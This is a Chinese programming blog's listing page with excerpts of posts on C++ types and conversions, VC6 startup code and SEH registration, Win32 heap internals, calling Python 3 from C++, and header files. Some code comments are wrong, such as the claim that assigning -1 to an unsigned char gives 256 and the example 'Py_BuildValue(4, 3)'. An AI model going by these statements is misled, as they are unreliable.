首页
归档
友情链接
关于
Search
1
在wsl2中安装archlinux
105 阅读
2
nvim番外之将配置的插件管理器更新为lazy
78 阅读
3
2018总结与2019规划
62 阅读
4
PDF标准详解(五)——图形状态
40 阅读
5
为 MariaDB 配置远程访问权限
33 阅读
软件与环境配置
博客搭建
从0开始配置vim
Vim 从嫌弃到依赖
archlinux
Emacs
MySQL
Git与Github
AndroidStudio
cmake
读书笔记
编程
PDF 标准
从0自制解释器
qt
C/C++语言
Windows 编程
Python
Java
算法与数据结构
PE结构
Thinking
FIRE
菜谱
登录
Search
标签搜索
c++
c
学习笔记
windows
文本操作术
编辑器
NeoVim
Vim
win32
VimScript
emacs
linux
文本编辑器
Java
elisp
反汇编
OLEDB
数据库编程
数据结构
内核编程
Masimaro
累计撰写
314
篇文章
累计收到
31
条评论
首页
栏目
软件与环境配置
博客搭建
从0开始配置vim
Vim 从嫌弃到依赖
archlinux
Emacs
MySQL
Git与Github
AndroidStudio
cmake
读书笔记
编程
PDF 标准
从0自制解释器
qt
C/C++语言
Windows 编程
Python
Java
算法与数据结构
PE结构
Thinking
FIRE
菜谱
页面
归档
友情链接
关于
搜索到
37
篇与
的结果
2021-01-17
c++基础之变量和基本类型
之前我写过一系列的c/c++ 从汇编上解释它如何实现的博文。从汇编层面上看,确实c/c++的执行过程很清晰,甚至有的地方可以做相关优化。而c++有的地方就只是一个语法糖,或者说并没有转化到汇编中,而是直接在编译阶段做一个语法检查就完了。并没有生成汇编代码。也就是说之前写的c/c++不能涵盖它们的全部内容。而且抽象层次太低,在应用上很少会考虑它的汇编实现。而且从c++11开始,加入了很多新特性,给人的感觉就好像是一们新的编程语言一样。对于这块内容,我觉得自己的知识还是有欠缺了,因此我决定近期重新翻一翻很早以前买的《c++ primer》 学习一下,并整理学习笔记背景介绍为什么会想到再次重新学习c++的基础内容呢?目前来看我所掌握的并不是最新的c++标准,而是“c with class” 的内容,而且很明显最近在关注一些新的cpp库的时候,发现它的语法我很多地方都没见过,虽然可以根据它的写法来大致猜到它到底用了什么东西,或者说在实现什么功能,但是要自己写,可能无法写出这种语法。而且明显感觉到新的标准加入了很多现代编程语言才有的内容,比如正则表达式、lambda表达式等等。这些都让写c++变得容易,写出的代码更加易读,使其脱离了上古时期的烙印更像现代的编程语言,作为一名靠c++吃饭的程序员,这些东西必须得会的。看书、学编程总少不了写代码并编译运行它。这次我把我写代码的环境更换到了mac平台,在mac平台上使用 vim + g++的方式。这里要提一句,在mac 的shell中,g++和gcc默认使用的是4.8的版本,许多新的c++标准并不被支持,需要下载最新的编译器并使用替换环境中使用的默认编译器,使其更新到最新版本gcc / g++ 使用在shell环境中,不再像visual studio开发环境中那样,只要点击build就一键帮你编译链接生成可执行程序了。shell中所有一切都需要你使用命令行来搞定,好在gcc/g++的使用并不复杂,记住几个常用参数就能解决日常80%的使用场景了,下面罗列一些常用的命令-o 指定生成目标文件位置和名称-l 指定连接库文件名称,一般库以lib开头但是在指定名称时不用加lib前缀,例如要链接libmath.o 可以写成-lmath-L 指定库所在目录-Wall 打印所有警告,一般编译时打开这个-E 仅做预处理,不进行编译-c 仅编译,不进行链接-static 编译为静态库-share 编译为动态库-Dname=definition 预定义一个值为definition的,名称为name的宏-ggdb -level 生成调试信息,level可以为1 2 3 默认为2-g -level 生成操作系统本地格式的调试信息 -g相比于-ggdb 来说会生成额外的信息-O0/O1/O2/O3 尝试优化-Os 对生成的文件大小进行优化常用的编译命令一般是 g++ -Wall -o demo demo.cpp开启所有警告项,并编译demo.cpp 生成demo程序 ## 基本数据类型与变量 ### 算术类型 这里说的基本数据类型主要是算术类型,按占用内存空间从小到大排序 char、bool(这二者应该是相同的)、short、wchar_t、int、long、longlong、float、double、long double。当然它们有的还有有符号与无符号的区别,这里就不单独列出了 一般来说,我们脑袋中记住的它们的大小好像是固定,比如wchar_t 占2个字节,int占4个字节。单实际上c++ 并没有给这些类型的大小都定义死,而是固定了一个最小尺寸,而具体大小究竟定义为多少,不同的编译器有不同的实现,比如我尝试的wchar_t 类型在vc 编译环境中占2个字节,而g++编译出来的占4一个字节。下面的表是c++ 规定的部分类型所占内存空间大小 | 类型 | 含义 | 最小尺寸 | |:----------|:--------------|:-----| | bool | 布尔类型 | 未定义 | | char | 字符 | 8位 | | wchar_t | 宽字符 | 16位 | | char16_t | Unicode字符 | 16位 | | char32_t | Unicode字符 | 32位 | | short | 短整型 | 16位 | | int | 整型 | 32位 | | long | 长整型 | 32位 | | longlong | 长整型 | 64位 | | float | 单精度浮点数 | 32位 | | double | 双精度浮点数 | 64位 | 另外c++的标准还规定 一个int类型至少和一个short一样大,long至少和int一样大、一个longlong至少和一个long一样大。 ### 有符号数与无符号数 数字类型分为有符号和无符号的,默认上述都是有符号的,在这些类型中加入unsigned 表示无符号,而char分为 signed char、char、unsigned char 三种类型。但是实际使用是只能选有符号或者无符号的。根据编译器不同,char的表现不同。 一般在使用这些数据类型的时候有如下原则 1. 明确知晓数值不可能为负的情况下使用unsigned 类型 2. 使用int进行算数运行,如果数值超过的int的表示范围则使用 longlong类型 3. 算术表达式中不要使用char或者bool类型 4. 如果需要使用一个不大的整数,必须指定是signed char 还是unsigned char 5. 执行浮点数运算时使用double ### 类型转化 当在程序的某处我们使用了一种类型,而实际对象应该取另一种类型时,程序会自动进行类型转化,类型转化主要分为隐式类型转化和显示类型转化。 数值类型进行类型转化时,一般遵循如下规则: 1. 把数字类型转化为bool类型时,0值会转化为false,其他值最后会被转化为true 2. 当把bool转化为非bool类型时,false会转化为0,true会被转化为1 3. 把浮点数转化为整型时,仅保留小数点前面的部分 4. 把整型转化为浮点数时,小数部分为0;如果整数的大小超过浮点数表示的范围,可能会损失精度 5. 当给无符号类型的整数赋值一个超过它表示范围的数时,会发生溢出。实际值是赋值的数对最大表示数取余数的结果 6. 当给有符号的类型一个超出它表示范围的值时,具体结果会根据编译器的不同而不同 7. 有符号数与无符号数混用时,结果会自动转化为无符号数 (使用小转大的原则,尽量不丢失精度) **由于bool转化为数字类型时非0即1,注意不要在算术表达式中使用bool类型进行运算** 下面是类型转化的具体例子 ```cpp bool b = 42; // b = true int i = b; // i = 1 i = 3.14; // i = 3; double d = i; // d = 3.0 unsigned char c = -1; // c = 256 signed char c2 = c; // c2 = 0 gcc 中 255在内存中的表现形式为0xff,+1 变为0x00 并向高位溢出,所以结果为0 ``` 上述代码的最后一个语句发生了溢出,**对于像溢出这种情况下。不同的编译器有不同的处理方式,得到的结果可能不经相同,在编写代码时需要避免此类情况的出现** 尽管我们知道不给一个无符号数赋一个负数,但是经常会在不经意间犯下这样的错误,例如当一个算术表达式中既有无符号数,又有有符号数的时候。例如下面的代码 ```cpp unsigned u = 10; int i = -42; printf("%d\r\n", u + i); // -32 printf("%u\r\n", u + i); //4294967264 ``` 那么该如何计算最后的结果呢,这里直接根据它们的二进制值来进行计算,然后再转化为具体的10进制数值,例如u = 0x0000000A,i = 0xffffffd6;二者相加得到 0xffffffEO, 如果转化为int类型,最高位是1,为负数,其余各位取反然后加一得到0x20,最终的结果就是-32,而无符号,最后的值为4294967264 ### 字面值常量 一般明确写出来数值内容的称之为字面值常量,从汇编的角度来看,能直接写入代码段中数值。例如32、0xff、"hello world" 这样内容的数值 #### 整数和浮点数的字面值 整数的字面值可以使用二进制、8进制、10进制、16进制的方式给出。而浮点数一般习惯上以科学计数法的形式给出 1. 二进制以 0b开头,八进制以0开头,十六进制以0x开头 2. 数值类型的字面值常量最终会以二进制的形式写入变量所在内存,如何解释由变量的类型决定,默认10进制是带符号的数值,其他的则是不带符号的 3. 十进制的字面值类型是int、long、longlong中占用空间最小的(前提是类型能容纳对应的数值) 4. 八进制、十六进制的字面值类型是int、unsigned int、long、unsigned long、longlong和unsigned longlong 中尺寸最小的一个(同样的要求对应类型能容纳对应的数值) 5. 浮点数的字面值用小数或者科学计数法表示、指数部分用e或者E标示 #### 字符和字符串的字面值常量 由单引号括起来的一个字符是char类型的字面值,双引号括起来的0个或者多个字符则构成字符串字面值常量。字符串实际上是一个字符数组,数组中的每个元素存储对应的字符。**这个数组的大小等于字符串中字符个数加1,多出来一个用于存储结尾的\0** 有两种类型的字符程序员是不能直接使用的,一类是不可打印的字符,如回车、换行、退格等格式控制字符,另一类是c/c++语言中有特殊用途的字符,例如单引号表示字符、双引号表示一个字符串,在这些情况下需要使用转义字符. 1. 转义以\开头,后面只转义仅接着的一个字符 2. 转义可以以字符开始,也可以以数字开始,数字在最后会被转化为对应的ASCII字符 3. \x后面跟16进制数、\后面跟八进制数、八进制数只取后面的3个;十六进制数则只能取两个数值(最多表示一个字节) ```cpp '\\' // 表示一个\字符 "\"" //表示一个" "\155" //表示一个 155的8进制数,8进制的155转化为10进制为109 从acsii表中可以查到,109对应的是M "\x6D" ``` 一般来讲我们很难通过字面值常量知道它到底应该是具体的哪种类型,例如 15既可以表示short、int、long、也是是double等等类型。为了准确表达字面值常量的类型,我们可以加上特定的前缀或者后缀来修饰它们。常用的前缀和后缀如下表所示: | 前缀 | 含义 | |:------|:-----------------------| | L'' | 宽字节 | | u8"" | utf-8字符串 | | 42ULL | unsgined longlong | | f | 单精度浮点数 | | 3L | long类型 | | 3.14L | long double | | 3LL | longlong | | u'' | char16_t Unicode16字符 | | U'' | char32_t Unicode32字符 | ## 变量 变量为程序提供了有名的,可供程序操作的内存空间,变量都有具体的数据类型、所在内存的位置以及存储的具体值(即使是未初始化的变量,也有它的默认值)。变量的类型决定它所占内存的大小、如何解释对应内存中的值、以及它能参与的运算类型。在面向对象的语言中,变量和对象一般都可以替换使用 ### 变量的定义与初始化 变量的定义一般格式是类型说明符其后紧随着一个或者多个变量名组成的列表,多个变量名使用逗号隔开。最后以分号结尾。 一般在定义变量的同时赋值,叫做变量的初始化。而赋值语句结束之后,在其他地方使用赋值语句对其进行赋值,被称为赋值。从汇编的角度来看,变量的初始化是,在变量进入它的生命有效期时,对那块内存执行的内存拷贝操作。而赋值则需要分解为两条语句,一个寻址,一个值拷贝。 c++11之后支持初始化列表进行初始化,在使用初始化列表进行初始化时如果出现初始值存在精度丢失的情况时会报错 c++11之后的列表初始化语句,支持使用赋值运算幅、赋值运算符加上{}、或者直接使用{}、直接使用() ```cpp int i = 3.14; //正常 int i(3.14); //正常 int i{3.14}; //报错,使用初始化列表进行初始化时,由double到int可能会发生精度丢失 int i(3.14); //正常 ``` 如果变量在定义的时候未给定初始值,则会执行默认初始化操作,全局变量会被赋值为0,局部变量则是未初始化的状态;它的值是不确定的。这个所谓的默认初始化操作,其实并不是真的那个时候执行了什么初始化语句。全局变量被初始化为0,主要是因为,在程序加载之初,操作系统会将数据段的内存都初始化为0,而局部变量,则是在进入函数之后,初始化栈,具体初始化为何值,根据平台的不同而不同 ### 声明与定义的关系 为了允许把程序拆分为多个逻辑部分来编写,c++支持分离式编译机制,该机制允许将程序分割为若干个文件,每个文件可被独立编译。 如果将程序分为多个文件,则需要一种在文件中共享代码的方法。c++中这种方法是将声明与定义区分开来。在我之前的博客中,有对应的说明。声明只是告诉编译器这个符号可以使用,它是什么类型,占多少空间,但前对它执行的这种操作是否合法。最终会生成一个符号表,在链接的时候根据具体地址,再转化为具体的二进制代码。而定义则是真正为它分配内存空间,以至于后续可以通过一个具体的地址访问它。 声明只需要在定义语句的前面加上extern关键字。如果extern 关键字后面跟上了显式初始化语句,则认为该条语句是变量的定义语句。变量可以声明多次但是只能定义一次。另外在函数内部不允许初始化一个extern声明的变量 ```cpp int main() { extern int i = 0; //错误 return 0; } ``` 一个好的规范是声明都在放在对应的头文件中,在其他地方使用时引入该头文件,后续要修改,只用修改头文件的一个地方。一个坏的规范是,想用了,就在cpp文件中使用extern声明,这样会导致声明有多份,修改定义,其他声明都得改,项目大了,想要找起来就不那么容易了。 ### 变量作用域 变量的作用域始于声明语句,终结于声明语句所在作用域的末端 1. 局部变量在整个函数中有效 2. 普通全局变量在整个程序中都有效果 3. 花括号中定义的变量仅在这对花括号中有效 作用域可以存在覆盖,并且以最新的定义的覆盖之前的 ```cpp int i = 10; void func() { int i = 20; { string i = "hello world"; cout
2021年01月17日
1 阅读
0 评论
0 点赞
2018-09-16
VC 在调用main函数之前的操作
在C/C++语言中规定,程序是从main函数开始,也就是C/C++语言中以main函数作为程序的入口,但是操作系统是如何加载这个main函数的呢,程序真正的入口是否是main函数呢?本文主要围绕这个主题,通过逆向的方式来探讨这个问题。本文的所有环境都是在xp上的,IDE主要使用IDA 与 VC++ 6.0。为何不选更高版本的编译器,为何不在Windows 7或者更高版本的Windows上实验呢?我觉得主要是VC6更能体现程序的原始行为,想一些更高版本的VS 它可能会做一些优化与检查,从而造成反汇编生成的代码过于复杂不利于学习,当逆向的功力更深之后肯定得去分析新版本VS 生成的代码,至于现在,我的水平不够只能看看VC6 生成的代码首先通过VC 6编写这么一个简单的程序#include <stdio.h> #include <windows.h> #include <tchar.h> int main() { wchar_t str[] = L"hello world"; size_t s = wcslen(str); return 0; }通过单步调试,打开VC6 的调用堆栈界面,发现在调用main函数之前还调用了mainCRTStartup 函数:在VC6 的反汇编窗口中好像不太好找到mainCRTStartup函数的代码,因此在这里改用IDA pro来打开生成的exe,在IDA的 export窗口中双击 mainCRTStartup 函数,代码就会跳转到函数对应的位置。它的代码比较长,刚开始也是进行函数的堆栈初始化操作,这个初始化主要是保存原始的ebp,保存重要寄存器的值,并且改变ESP的指针值初始化函数堆栈,这些就不详细说明了,感兴趣的可以去看看我之前写的关于函数反汇编分析的内容:C函数原理在初始化完成之后,它有这样的汇编代码.text:004010EA push offset __except_handler3 .text:004010EF mov eax, large fs:0 .text:004010F5 push eax .text:004010F6 mov large fs:0, esp这段代码主要是用来注册主线程的的异常处理函数的,为什么它这里的4行代码就可以设置线程的异常处理函数呢?这得从SEH的结构说起。每个线程都有自己的SEH链,当发生异常的时候会调用链中存储的处理函数,然后根据处理函数的返回来确定是继续运行原先的代码,还是停止程序还是继续将异常传递下去。这个链表信息保存在每个线程的NT_TIB结构中,这个结构每个线程都有,用来记录当前线程的相关内容,以便在进行线程切换的时候做数据备份和恢复。当然不是所有的线程数据都保存在这个结构中,它只保留部分。该结构的定义如下:typedef struct _NT_TIB { PEXCEPTION_REGISTRATION_RECORD ExceptionList; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; PNT_TIB Self; } NT_TIB, *PNT_TIB;这个结构的第一个参数是一个异常处理链的链表头指针,链表结构的定义如下:typedef struct _EXCEPTION_REGISTRATION_RECORD { PEXCEPTION_REGISTRATION_RECORD Next; PEXCEPTION_DISPOSITION Handler; } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;这个结构很简单的定义了一个链表,第一个成员是指向下一个节点的指针,第二个参数是一个异常处理函数的指针,当发生异常的时候会去调用这个函数。而这个链表的头指针被存到fs寄存器中知道了这点之后再来看这段代码,首先将异常函数入栈,然后将之前的链表头指针入栈,这样就组成了一个EXCEPTION_REGISTRATION_RECORD结构的节点而这个节点的指针现在就是ESP中保存的值,之后再将链表的头指针更新,也就是最后一句对fs的重新赋值,这是一个典型的使用头插法新增链表节点的操作。通过这样的几句代码就向主线程中注入了一个新的异常处理函数。之后就是进行各种初始化的操作,调用GetVersion 获取版本号,调用 __heap_init 函数初始化C运行时的堆栈,这个函数后面有一个 esp + 4的操作,这里可以看出这个函数是由调用者来做堆栈平衡的,也就是说它并不是Windows提供的api函数(API函数一般都是stdcall的方式调用,并且命名采用驼峰的方式命名)。调用GetCommandLineA函数获取命令行参数,调用 GetEnvironmentStringsA 函数获取系统环境变量,最后有这么几句话:.text:004011B0 mov edx, __environ .text:004011B6 push edx ; envp .text:004011B7 mov eax, ___argv .text:004011BC push eax ; argv .text:004011BD mov ecx, ___argc .text:004011C3 push ecx ; argc .text:004011C4 call _main_0这段代码将环境变量、命令行参数和参数个数作为参数传入main函数中。 在C语言中规定了main函数的三种形式,但是从这段代码上看,不管使用哪种形式,这三个参数都会被传入,程序员使用哪种形式的main函数并不影响在VC环境在调用main函数时的传参。只是我们代码中不使用这些变量罢了。到此,这篇博文简单的介绍了下在调用main函数之前执行的相关操作,这些汇编代码其实很容易理解,只是在注册异常的代码有点难懂。最后总结一下在调用main函数之前的相关操作注册异常处理函数调用GetVersion 获取版本信息调用函数 __heap_init初始化堆栈调用 __ioinit函数初始化啊IO环境,这个函数主要在初始化控制台信息,在未调用这个函数之前是不能进行printf的调用 GetCommandLineA函数获取命令行参数调用 GetEnvironmentStringsA 函数获取环境变量调用main函数
2018年09月16日
6 阅读
0 评论
0 点赞
2018-09-01
C 堆内存管理
在Win32 程序中每个进程都占有4GB的虚拟地址空间,这4G的地址空间内部又被分为代码段,全局变量段堆段和栈段,栈内存由函数使用,用来存储函数内部的局部变量,而堆是由程序员自己申请与释放的,系统在管理堆内存的时候采用的双向链表的方式,接下来将通过调试代码来分析堆内存的管理。堆内存的双向链表管理下面是一段测试代码#include <iostream> using namespace std; int main() { int *p = NULL; __int64 *q = NULL; int *m = NULL; p = new int; if (NULL == p) { return -1; } *p = 0x11223344; q = new __int64; if (NULL == q) { return -1; } *q = 0x1122334455667788; m = new int; if (NULL == m) { return -1; } *m = 0x11223344; delete p; delete q; delete m; return 0; }我们对这段代码进行调试,当代码执行到delete p;位置的时候(此时还没有执行delete语句)查看变量的值如下:p q m变量的地址比较接近,这三个指针变量本身保存在函数的栈中。从图中看存储这三个变量内存的地址好像不像栈结构,这是由于在高版本的VS中默认开启了地址随机化,所以这里看不出来这些地址的关系,但是如果在VC6里面可以很明显的看到它们在一个栈结构中。我们将p, q, m这三者所指向的内存都减去 0x20 得到p - 0x20 = 0x00035cc8 - 0x20 = 0x00035ca8 q - 0x20 = 0x00035d08 - 0x20 = 0x00035ce8 m - 0x20 = 0x00035d50 - 0x20 = 0x00035d30在内存窗口中分别查看p - 0x20, q- 0x20, m- 0x20 位置的内存如下通过观察发现p - 0x20处前8个字节存储了两个地址分别是 0x00035c38、0x00035ce8。是不是对0x00035ce8 这个地址感到很熟悉呢,它就是q - 0x20 处的地址,按照这个思路我们观察这些内存发现内存地址前四个字节后四个字节0x00035ca80x00035c380x00035ce80x00035ce80x00035ca80x00035d300x00035d300x00035ce80x00000000看到这些地址有没有发现什么呢?没错,这个结构有两个指针域,第一个指针域指向前一个节点,后一个指针域指向后一个节点,这是一个典型的双向链表结构,你没有发现?没关系,我们将这个地址整理一下得到下面这个图表既然知道了它的管理方式,那么接着往后执行delete语句,这个时候再看这些地址对应的内存中保存的值内存地址前四个字节后四个字节0x00035CA80x00035d700x000300c40x00035ce80x00035c380x00035d300x00035d300x00035ce80x00000000系统已经改变了后面两个节点中next和pre指针域的内容,将p节点从双向链表中除去了。而这个时候仔细观察p节点中存储内容发现里面得值已经变为 0xfeee 了。我们在delete的时候并没有传入对应的参数告知系统该回收多大的内存,那么它是怎么知道该如何回收内存的呢。我们回到之前的那个p - 0x20 内存的图上看,是不是在里面发现了一个0x00000004的值,其实这个值就是当前节点占了多少个字节,如果不相信,可以看看q- 0x20 和m - 0x20 内存处保存的值看看,在对应的偏移处是不是有 8和4。系统根据这个值来回收对应的内存。
2018年09月01日
3 阅读
0 评论
0 点赞
2018-08-04
C++ 调用Python3
作为一种胶水语言,Python 能够很容易地调用 C 、 C++ 等语言,也能够通过其他语言调用 Python 的模块。Python 提供了 C++ 库,使得开发者能很方便地从 C++ 程序中调用 Python 模块。具体操作可以参考: 官方文档在调用Python模块时需要如下步骤:初始化Python调用环境加载对应的Python模块加载对应的Python函数将参数转化为Python元组类型调用Python函数并传入参数元组获取返回值根据Python函数的定义解析返回值初始化在调用Python模块时需要首先包含Python.h头文件,这个头文件一般在安装的Python目录中的 include文件中,所在VS中首先需要将这个路径加入到项目中包含完成之后可能会抱一个错误:找不到 inttypes.h文件,在个错误在Windows平台上很常见,如果报这个错误,需要去网上下载对应的inttypes.h文件然后放入到对应的目录中即可,我这放到VC的include目录中在包含这些文件完成之后可能还会抱一个错误,未找到Python36_d.lib 在Python环境中确实找不到这个文件,这个时候可以修改pyconfig.h文件,将这个lib改为python36.lib,具体操作请参考这个链接: https://blog.csdn.net/Chris_zhangrx/article/details/78947526还有一点要注意,下载的Python环境必须的与目标程序的类型相同,比如你在VS 中新建一个Win32项目,在引用Python环境的时候就需要引用32位版本的Python这些准备工作做完后在调用Python前先调用Py_Initialize 函数来初始化Python环境,之后我们可以调用Py_IsInitialized来检测Python环境是否初始化成功下面是一个初始化Python环境的例子BOOL Init() { Py_Initialize(); return Py_IsInitialized(); }调用Python模块调用Python模块可以简单的调用Python语句也可以调用Python模块中的函数。简单调用Python语句针对简单的Python语句(就好像我们在Python的交互式环境中输入的一条语句那样),可以直接调用 PyRun_SimpleString 函数来执行, 这个函数需要一个Python语句的ANSI字符串作为参数,返回int型的值。如果为0表示执行成功否则为失败void ChangePyWorkPath(LPCTSTR lpWorkPath) { TCHAR szWorkPath[MAX_PATH + 64] = _T(""); StringCchCopy(szWorkPath, MAX_PATH + 64, _T("sys.path.append(\"")); StringCchCat(szWorkPath, MAX_PATH + 64, lpWorkPath); StringCchCat(szWorkPath, MAX_PATH + 64, _T("\")")); PyRun_SimpleString("import sys"); USES_CONVERSION; int nRet = PyRun_SimpleString(T2A(szWorkPath)); if (nRet != 0) { return; } }这个函数主要用来将传入的路径加入到当前Python的执行环境中,以便可以很方便的导入我们的自定义模块函数首先通过字符串拼接的方式组织了一个 "sys.path.append('path')" 这样的字符串,其中path是我们传进来的参数,然后调用PyRun_SimpleString执行Python的"import sys"语句来导入sys模块,接着执行之前拼接的语句,将对应路径加入到Python环境中调用Python模块中的函数调用Python模块中的函数需要执行之前说的2~7的步骤加载Python模块(自定义模块)加载Python的模块需要调用 PyImport_ImportModule 这个函数需要传入一个模块的名称作为参数,注意:这里需要传入的是模块的名称也就是py文件的名称,不能带.py后缀。这个函数会返回一个Python对象的指针,在C++中表示为PyObject。这里返回模块的对象指针然后调用 PyObject_GetAttrString 函数来加载对应的Python模块中的方法,这个函数需要两个参数,第一个是之前获取到的对应模块的指针,第二个参数是函数名称的ANSI字符串。这个函数会返回一个对应Python函数的对象指针。后面需要利用这个指针来调用Python函数获取到函数的指针之后我们可以调用 PyCallable_Check 来检测一下对应的对象是否可以被调用,如果能被调用这个函数会返回true否则返回false接着就是传入参数了,Python中函数的参数以元组的方式传入的,所以这里需要先将要传入的参数转化为元组,然后调用 PyObject_CallObject 函数来执行对应的Python函数。这个函数需要两个参数第一个是上面Python函数对象的指针,第二个参数是需要传入Python函数中的参数组成的元组。函数会返回Python的元组对象,这个元组就是Python函数的返回值获取到返回值之后就是解析参数了,我们可以使用对应的函数将Python元组转化为C++中的变量最后需要调用 Py_DECREF 来解除Python对象的引用,以便Python的垃圾回收器能正常的回收这些对象的内存下面是一个传入空参数的例子void GetModuleInformation(IN LPCTSTR lpPyFileName, OUT LPTSTR lpVulName, OUT long& level) { USES_CONVERSION; PyObject *pModule = PyImport_ImportModule(T2A(lpPyFileName)); //加载模块 if (NULL == pModule) { g_OutputString(_T("加载模块[%s]失败"), lpPyFileName); goto __CLEAN_UP; } PyObject *pGetInformationFunc = PyObject_GetAttrString(pModule, "getInformation"); // 加载模块中的函数 if (NULL == pGetInformationFunc || !PyCallable_Check(pGetInformationFunc)) { g_OutputString(_T("加载函数[%s]失败"), _T("getInformation")); goto __CLEAN_UP; } PyObject *PyResult = PyObject_CallObject(pGetInformationFunc, NULL); if (NULL != PyResult) { PyObject *pVulNameObj = PyTuple_GetItem(PyResult, 0); PyObject *pVulLevelObj = PyTuple_GetItem(PyResult, 1); //获取漏洞的名称信息 int nStrSize = 0; LPTSTR pVulName = PyUnicode_AsWideCharString(pVulNameObj, &nStrSize); StringCchCopy(lpVulName, MAX_PATH, pVulName); PyMem_Free(pVulName); //获取漏洞的危险等级 level = PyLong_AsLong(pVulLevelObj); Py_DECREF(pVulNameObj); Py_DECREF(pVulLevelObj); } //解除Python对象的引用, 以便Python进行垃圾回收 __CLEAN_UP: Py_DECREF(pModule); Py_DECREF(pGetInformationFunc); Py_DECREF(PyResult); }在示例中调用了一个叫 getInformation 的函数,这个函数的定义如下:def getInformation(): return "测试脚本", 1下面是一个需要传入参数的函数调用BOOL CallScanMethod(IN LPPYTHON_MODULES_DATA pPyModule, IN LPCTSTR lpUrl, IN LPCTSTR lpRequestMethod, OUT LPTSTR lpHasVulUrl, int BuffSize) { USES_CONVERSION; //加载模块 PyObject* pModule = PyImport_ImportModule(T2A(pPyModule->szModuleName)); if (NULL == pModule) { g_OutputString(_T("加载模块[%s]失败!!!"), pPyModule->szModuleName); return FALSE; } //加载模块 PyObject *pyScanMethod = PyObject_GetAttrString(pModule, "startScan"); if (NULL == pyScanMethod || !PyCallable_Check(pyScanMethod)) { Py_DECREF(pModule); g_OutputString(_T("加载函数[%s]失败!!!"), _T("startScan")); return FALSE; } //加载参数 PyObject* pArgs = Py_BuildValue("ss", T2A(lpUrl), T2A(lpRequestMethod)); PyObject *pRes = PyObject_CallObject(pyScanMethod, pArgs); Py_DECREF(pArgs); if (NULL == pRes) { g_OutputString(_T("调用函数[%s]失败!!!!"), _T("startScan")); return FALSE; } //如果是元组,那么Python脚本返回的是两个参数,证明发现漏洞 if (PyTuple_Check(pRes)) { PyObject* pHasVul = PyTuple_GetItem(pRes, 0); long bHasVul = PyLong_AsLong(pHasVul); Py_DECREF(pHasVul); if (bHasVul != 0) { PyObject* pyUrl = PyTuple_GetItem(pRes, 1); int nSize = 0; LPWSTR pszUrl = PyUnicode_AsWideCharString(pyUrl, &nSize); Py_DECREF(pyUrl); StringCchCopy(lpHasVulUrl, BuffSize, pszUrl); PyMem_Free(pszUrl); return TRUE; } } Py_DECREF(pRes); return FALSE; }对应的Python函数如下:def startScan(url, method): if(method == "GET"): response = requests.get(url) else: response = requests.post(url) if response.status_code == 200: return True, url else: return FalseC++数据类型与Python对象的相互转化Python与C++结合的一个关键的内容就是C++与Python数据类型的相互转化,针对这个问题Python提供了一系列的函数。这些函数的格式为PyXXX_AsXXX 或者PyXXX_FromXXX,一般带有As的是将Python对象转化为C++数据类型的,而带有From的是将C++对象转化为Python,Py前面的XXX表示的是Python中的数据类型。比如 PyUnicode_AsWideCharString 是将Python中的字符串转化为C++中宽字符,而 Pyunicode_FromWideChar 是将C++的字符串转化为Python中的字符串。这里需要注意一个问题就是Python3废除了在2中的普通的字符串,它将所有字符串都当做Unicode了,所以在调用3的时候需要将所有字符串转化为Unicode的形式而不是像之前那样转化为String。具体的转化类型请参考Python官方的说明。上面介绍了基本数据类型的转化,除了这些Python中也有一些容器类型的数据,比如元组,字典等等。下面主要说说元组的操作。元组算是比较重要的操作,因为在调用函数的时候需要元组传参并且需要解析以便获取元组中的值。创建Python的元组对象创建元组对象可以使用 PyTuple_New 来创建一个元组的对象,这个函数需要一个参数用来表示元组中对象的个数。之后需要创建对应的Python对象,可以使用前面说的那些转化函数来创建普通Python对象,然后调用 PyTuple_SetItem 来设置元组中数据的内容,函数需要三个参数,分别是元组对象的指针,元组中的索引和对应的数据示例: PyObject* args = PyTuple_New(2); // 2个参数 PyObject* arg1 = PyInt_FromLong(4); // 参数一设为4 PyObject* arg2 = PyInt_FromLong(3); // 参数二设为3 PyTuple_SetItem(args, 0, arg1); PyTuple_SetItem(args, 1, arg2);或者如果元组中都是简单数据类型,可以直接使用 PyObject* args = Py_BuildValue(4, 3); 这种方式来创建元组解析元组Python 函数返回的是元组,在C++中需要进行对应的解析,我们可以使用 PyTuple_GetItem 来获取元组中的数据成员,这个函数返回PyObject 的指针,之后再使用对应的转化函数将Python对象转化成C++数据类型即可PyObject *pVulNameObj = PyTuple_GetItem(PyResult, 0); PyObject *pVulLevelObj = PyTuple_GetItem(PyResult, 1); //获取漏洞的名称信息 int nStrSize = 0; LPTSTR pVulName = PyUnicode_AsWideCharString(pVulNameObj, &nStrSize); StringCchCopy(lpVulName, MAX_PATH, pVulName); PyMem_Free(pVulName); //释放由PyUnicode_AsWideCharString分配出来的内存 //获取漏洞的危险等级 level = PyLong_AsLong(pVulLevelObj); //最后别忘了将Python对象解引用 Py_DECREF(pVulNameObj); Py_DECREF(pVulLevelObj); Py_DECREF(PyResult);Python中针对具体数据类型操作的函数一般是以Py开头,后面跟上具体的数据类型的名称,比如操作元组的PyTuple系列函数和操作列表的PyList系列函数,后面如果想操作对应的数据类型只需要去官网搜索对应的名称即可。这些代码实例都是我之前写的一个Demo中的代码,Demo放到了Github上: PyScanner
2018年08月04日
4 阅读
0 评论
0 点赞
2018-06-16
为什么C语言会有头文件
前段时间一个刚转到C语言的同事问我,为什么C会多一个头文件,而不是像Java和Python那样所有的代码都在源文件中。我当时回答的是C是静态语言很多东西都是需要事先定义的,所以按照惯例我们是将所有的定义都放在头文件中的。事后我再仔细想想,这个答案并不不能很好的说明这个问题。所以我在这将关于这个问题的相关内容写下来,希望给大家一点提示,也算是一个总结include语句的本质要回答这个问题,首先需要知道C语言代码组织问题,也就是我比较喜欢说的多文件,这个不光C语言有,几乎所有的编程语言都有,比如Python中使用import来导入新的模块,而C中我们可以简单的将include等效为import。那么问题来了,import后面的模块名称一般是相关类和对象的的的声明和实现模块,而include后面只能跟一个头文件,只有声明。其实这个认识是错误的,C语言并没有规定include只能包含头文件,include的本质是一个预处理指令它主要的工作是将它后面的相关文件整个拷贝并替换这个include语句,比如下面一个例子//add.cpp int add(int x, int y) { return x + y; } //main.cpp #include "add.cpp" int main() { int x = add(1, 2); return 0; 